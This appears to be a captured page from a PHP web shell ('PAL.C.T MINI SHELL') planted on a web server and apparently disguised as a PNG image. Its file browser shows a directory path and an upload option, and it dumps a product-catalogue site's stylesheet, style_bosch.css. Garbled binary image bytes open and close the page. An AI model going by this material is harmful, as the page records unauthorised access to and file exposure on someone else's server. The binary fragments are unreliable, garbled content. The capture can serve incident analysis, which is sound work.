php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/bosch/css/
upload
files >> //var/www/html/bosch/css/style_bosch.css

body{
	background: #87888a;
    font-size: 12px;
}

header {
    
}

.head-bar{
	background: #fff;
}

#logo {
    margin-bottom: 10px;
    margin-left: -10px;
}

#logo img {
	margin-bottom: 10px;
    margin-top: 15px;
}

/* Large desktop */
    @media (min-width: 1200px) { 
    	.container {
    		width: 982px;
    	}
     }

.navbar{
	margin: 8px 0 8px 0; 
}


/* NAVBAR BOSH*/
.navbar {
  position: relative;
  min-height: 20px;
  border: 1px solid transparent;
  height: 30px;
  border-radius: 0px;
}


.navbar-bosch {
  background-image: url("images/background_mainNav.gif");
}

.navbar-bosch .navbar-nav > li > a {
  color: #fff;
  
}

.navbar-bosch .navbar-nav > li > a:hover,
.navbar-bosch .navbar-nav > li > a:focus {
  color: #003B6A;
  background-image: url("images/foHover.gif");
}

.navbar-bosch .navbar-nav > .active > a,
.navbar-bosch .navbar-nav > .active > a:hover,
.navbar-bosch .navbar-nav > .active > a:focus {
  color: #003B6A;
  background-image: url("images/foHover.gif");
}

.navbar-bosch .navbar-nav > .disabled > a,
.navbar-bosch .navbar-nav > .disabled > a:hover,
.navbar-bosch .navbar-nav > .disabled > a:focus {
  color: #003B6A;
  background-image: url("images/foHover.gif");
}

.navbar-bosch .navbar-toggle {
  border-color: #dddddd;
}

.navbar-bosch .navbar-toggle:hover,
.navbar-bosch .navbar-toggle:focus {
  background-color: #dddddd;
}

.navbar-bosch .navbar-toggle .icon-bar {
  background-color: #cccccc;
}

.navbar-bosch .navbar-collapse,
.navbar-bosch .navbar-form {
  border-color: #e7e7e7;
}

.navbar-bosch .navbar-nav > .dropdown > a:hover .caret,
.navbar-bosch .navbar-nav > .dropdown > a:focus .caret {
  border-top-color: #333333;
  border-bottom-color: #333333;
}

.navbar-bosch .navbar-nav > .open > a,
.navbar-bosch .navbar-nav > .open > a:hover,
.navbar-bosch .navbar-nav > .open > a:focus {
  color: #555555;
  background-color: #e7e7e7;
}

.navbar-bosch .navbar-nav > .open > a .caret,
.navbar-bosch .navbar-nav > .open > a:hover .caret,
.navbar-bosch .navbar-nav > .open > a:focus .caret {
  border-top-color: #555555;
  border-bottom-color: #555555;
}

.navbar-bosch .navbar-nav > .dropdown > a .caret {
  border-top-color: #777777;
  border-bottom-color: #777777;
}

@media (min-width: 768px) {
  .navbar-nav {
    float: left;
    margin: 0;
  }
  .navbar-nav > li {
    float: left;
  }
  .navbar-nav > li > a {
    padding-top: 4.5px;
    padding-bottom: 4.5px;
  }
}

/* END NAVBAR BOSH */
.btn-new-prod{
  color: #003B6A;
  background-image: url("images/foHover.gif");
  border-radius: 8px 8px 0 0;
  padding: 5px 15px;
  font-weight: bold;
  display: block;
  text-align: center;
}

.p_baru{
    border: 1px solid #f0f0f0;
}

.l_p_baru{
    display: inline-block;
    padding: 3px 0px 8px 0px;
    border-bottom: 1px solid #f0f0f0;
    width: 99%;
    font-size: 13px;
    height: 63px;
}

.l_p_baru img{
    max-width: 99%;
    max-height: 50px;
    min-height: auto;
    text-align: center;
}
.search_bar{
    background: linear-gradient(#FFFFFF, #E1E1E1) repeat scroll 0 0 #E1E1E1;
    margin-top: -10px;
    padding: 10px;

}
.shadbottom{
    background: url("images/stageShadowTopBig.png") no-repeat scroll 0 0 rgba(0, 0, 0, 0);
    height: 12px;
    width: 100%;
}

.home_bottom img{
    max-width: 100%;
    min-width: 50%;
    text-align: center;
}
.home_bottom a{
    font-size: 15px;
    text-transform: capitalize;
    font-weight: bold;
    margin: 10px 0px;
    line-height: 14px;
    display: block;
}
.home_bottom a:hover{
    text-decoration: none;
}
.home_bottom .desc{
    font-size: 12px;
}
.hot-line{
    font-size: 19px;
    color: #0000ff;
}
.hot-line span{
    padding: 5px;
    border-radius: 5px;

}

.main-page{
	background: #fff;
}

.title{
    color: #063A83;
    font-size: 18px;
    font-weight: bold;
    text-shadow: 1px 1px #BABABA;
}

.title-produk {
    display: table;
    width: 100%;
    position: relative;
    text-align: left !important;
    background: none;
    height: 95px;
    padding: auto;
    text-transform: capitalize;
}
.text{
    color: #215f8b;       
    vertical-align: top;
    text-align: left;
    padding: 0;
    margin: 0;
}
.text:hover{
    color: #003b6a;
}
.description{ 
    vertical-align: top;
    text-align: left;
    font-size: 12px;
    padding: 0 0 5px;
    margin: 0;
    margin-top: 3px;
    text-decoration: none;
    font-weight: normal !important;
}
.title-produk:hover{
	text-decoration: none;
	font-weight: bold;
    text-align: center;
    text-decoration: none;
    color: #000;		

}

.gambar_sub_kategori img{
    height: auto;
    padding: 0;
    width: 100%;
}

.title-kat {
    top: 0;
    position: absolute;
    right: 0 !important;
}

.img_subkategori{
    margin-top: 0;
    min-height: 240px;
    overflow-x: hidden;
    padding-bottom: 10px;
    width: 98%;
}

.title-kat-bg {
    bottom: 0;
    height: 100%;
    left: 0;
    position: absolute;
    right: 0;
    top: 0;
    width: 100%;
}
  
.text-kategori {
    color: #FFFFFF;
    padding: 16px;
    position: relative;
    width: 300px;
    float: right;

}

.text-kategori h2{
    font-size: 18px;
    line-height: 22px;
    text-align: left;
    padding: 4px 15px 0;  
}

.text-kategori p{
    font-family: Arial,sans-serif;
    font-size: 14px;
    text-align: left;
    line-height: 20px;
    padding: 4px 15px 0;
}
.list-produk{
	margin-bottom: 15px;
	text-align: center !important;
}

.list-produk a{
	font-weight: bold;
    text-align: center;
    text-decoration: none;
    color: #000;    
}

.list-produk img{
	max-width: 100%;
    height: auto;
    max-height: 130px;
    padding: auto;
    min-width: 50%;

}
.img-place{
    height: 134px;
    text-align: center !important;    
}


p{
    padding: 10px;
}

.no-border {
    border: medium none !important;
    border-radius: 0;
    box-shadow: none;
}

.main-page{
	padding:10px;
}

.panel-primary a {
    color: #FFFFFF;
}
.panel-body h5 {
    background-color: #3156A3;
    border-bottom: thin solid #FFFFFF;
    color: #FFFFFF;
    display: block;
    font-family: 'Open Sans',Arial,sans-serif;
    margin: 0;
    padding: 10px 15px;
    text-transform: uppercase;
    transition: background 0.5s ease 0s;
}
.panel-body h5:hover {
    background-color: #0384CE;
    color: #FFFFFF;
}

footer{
	background: none repeat scroll 0 0 #68B6E6;
    border-top: 5px solid #014EA2;
}

footer p{
	text-align: center;
}

.news_tittle {
    background: #F0F0F0 url('images/border-header.png');
    line-height: 1em;
    margin-bottom: 20px;
    text-align: left;
}
.news_tittle h4 {
    background-color: #014EA2;
    color: #FFFFFF;
    display: inline-block;
    font-family: 'Open Sans',Arial,sans-serif;
    font-size: 14px;
    margin: 0;
    padding: 10px 15px;
    text-transform: uppercase;
}

.harga-barang{
    margin: 3px;
}

.deskripsi{
    padding: 10px;
    border: dotted #333 thin;
    background: #f0f0f0;
}

.foto-home{
    margin-bottom: 10px;
    text-align: center;
}
.foto-home img{
    height: 130px;
    padding: auto;
    max-width: 100%;
    max-height: 130px;
}

.tampil_harga_1{
    text-decoration: line-through;
    color: red;
    font-size: 12px;
}

.red{
    color: red;
}

.form-login a{
    color: black;
    text-decoration: underline;
}

.link{
    float: right;
    font-size: 12px;
    padding-right: 0;
    margin-top: 10px;
}

.link a{
    color: #fff;
}
#search{
    float: right;
    position: absolute;
    top: 65px;
    right: 10px;
}

#search input{
    background: none repeat scroll 0 0 #FAFAFA;
    border-radius: 2px;
    border-style: solid;
    border-width: 1px;
    box-shadow: 0 1px 2px rgba(0, 0, 0, 0.05) inset;
    font-size: 13px;
    font-style: italic;
    margin: 0 24px 0 0;
    padding: 5px 0 5px 10px;
    text-shadow: 0 1px 0 #FFFFFF;
    width: 100%;
}

#search input:focus {
    box-shadow: 0 0 8px rgba(0, 0, 0, 0.1);
}

.button-search {
    background: url("../image/button-search.png") no-repeat scroll center center rgba(0, 0, 0, 0);
    cursor: pointer;
    height: 24px;
    position: absolute;
    right: 5px;
    top: 3px;
    width: 28px;
    padding: 0 !important;
}


.title-kat{
    bottom: 0;
    left: 0;
    position: absolute;
    right: 0;
    margin-left: 19px;
    margin-right: 19px;
}

.title-kat-bg{
    background-color: #000000;
    bottom: 0;
    height: 100%;
    left: 0;
    opacity: 0.5;
    position: absolute;
    right: 0;
    top: 0;
    width: 100%;
}

.text-kategori{
    color: #FFFFFF;
    font-size: 14pt;
    line-height: 1.1;
    padding: 12px 16px 12px 16px;
    position: relative;
    text-align: center;
}

/* Portrait tablet to landscape and desktop */
    @media (min-width: 768px) and (max-width: 979px) { 

.title-kat{
    margin-left: 23px;
    margin-right: 23px;
}

.text-kategori{
    font-size: 12pt;
    padding: 8px 13px 8px 13px;
}

     }
/* Landscape phone to portrait tablet */
    @media (max-width: 767px) { 
        .title-kat{
            margin-left: 23px;
            margin-right: 23px;
        }

        .text-kategori{
            font-size: 10pt;
            padding: 8px 13px 8px 13px;
        }
     }
     
    /* Landscape phones and down */
    @media (max-width: 480px) { 
        .title-kat{
            margin-left: 23px;
            margin-right: 23px;
        }

        .text-kategori{
            font-size: 10pt;
            padding: 8px 13px 8px 13px;
        }
     }

.box-produ-sub-kat{
    border-bottom: thin solid #F1F1F1;
    padding: 15px 0;
}

.list-produk-sub-kategori h3{
    margin-top: 0px;
}
.list-produk-sub-kategori h3 a{
    color: #215F8B;
    float: left;
    font-size: 14px;
    font-weight: bold;
}
.list-produk-sub-kategori h3 a:hover{
    color: #003B6A;
    text-decoration: none;
}

.list-produk-sub-kategori h3 a span{
    font-size: 12px;
    font-weight: normal;
}
.list-produk-sub-kategori p{
    font-size: 12px;
}
.judul_produk h1 {
    color: #404245;
}
.judul_produk h1 {
    float: left;
    font-family: Verdana,sans-serif;
    font-size: 22px;
    font-weight: bold;
    padding-top: 0px;
    line-height: 28px;
    margin: 0px;
}
.judul_produk{
    margin-bottom: 30px;
}
.judul_produk h1 span {
    font-size: 16px;
    font-weight: normal;
    line-height: 16px;
    padding: 0;
}
.bBottom {
    border-bottom: 1px solid #C3C3C4;
    font-weight: bold;
}
.contentTab h6.pSpacer {
    margin: 5px 10px;
    padding: 12px 0 5px;
    margin-bottom: 20px;
}
.kembali_tinjauan{
    color: black;
    font-weight: bold;
    font-size: 12px;
    margin-top: 8px;
    display: block;
}
.kembali_tinjauan:hover{
    color: black;
}

.blok-gambar-kecil{
    text-align: center;
}
.kanan-produk{
    background-color: #F1F1F1;
    padding:10px; 
    border-bottom: solid #C3C3C4 thin;

}
.kanan-last{
    
    padding:15px; 
    
}
.kanan-produk h6 {
    font-family: Verdana,sans-serif;
    font-size: 16px;
    font-weight: bold;
    margin: 15px;
}
.deskripsii{
    font-size: 12px;
}
.produk-top{
    border: thin solid #C3C3C4;
}
.rows{
    margin-left: 0px;
    margin-right: 0px;
}
.rows .col-md-4, .rows .col-md-7, .rows .col-md-5, .rows .col-md-4, .rows .col-md-8{
    padding: 0 !important;  
}
.rows .gambar-besar{
    border-right: thin solid #C3C3C4;
    border-bottom: thin solid #C3C3C4;
}
.block-g-kecil{
    border: none;
    border-right: thin solid #C3C3C4;
    height: 100px;
    padding: 5px;
    background: #fff;
}
.block-g-kecil img{
    margin-left: 4%;    
    margin-right: 4%;
    margin-top: 10px;
    margin-bottom: 10px;
    max-height: 80px;
    max-width: 90%;
    cursor: pointer;
}
.gbr-kecil{

}
.produk-top{
    border: thin solid #C3C3C4;
    background: #E1E1E2;    
}
th{
    background-color: #E1E1E2;
}
th .t2{
    background-color: #E1E1E2;
}
.table-grey{
    background-color: #f0f0f0;
    padding: 10px 20px;
}
#panel-390319, #panel-568873, #panel-568874{
    padding: 10px 15px;
} 
.ttbl{
    width: 50%;
} 
.table-condensed > thead > tr > th, .table-condensed > tbody > tr > th, .table-condensed > tfoot > tr > th, .table-condensed > thead > tr > td, .table-condensed > tbody > tr > td, .table-condensed > tfoot > tr > td{
    padding: 5px 20px;
}
.ttbl tr{
    border-bottom: thin solid #C3C3C4;
}
.tabel-sub-kategori{
    font-size: 10px;
}

.panel{
    font-size: 12px;
}

.data-teknis-fungsi{
    padding: 5px;
    border-bottom: thin solid #C3C3C4; 
}
.data-teknis-fungsi h6{
    margin: 0px;
    padding: 0px;
}
.data-teknis-fungsi p{
    padding-left: 0px;
}
.data-teknis-fungsi .col-xs-9{
    margin: 0px;
    padding: 0px;
}

#slider {
  position: relative;
  overflow: hidden;
  border-right: thin solid #C3C3C4;
  border-right: thin solid #C3C3C4;
}
 
#slider ul {
  position: relative;
  margin: 0;
  padding: 0;
  list-style: none;
}

#slider ul li {
  position: relative;
  display: block;
  float: left;
  margin: 0;
  padding: 0;
  background: #ccc;
  text-align: center; 

}
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`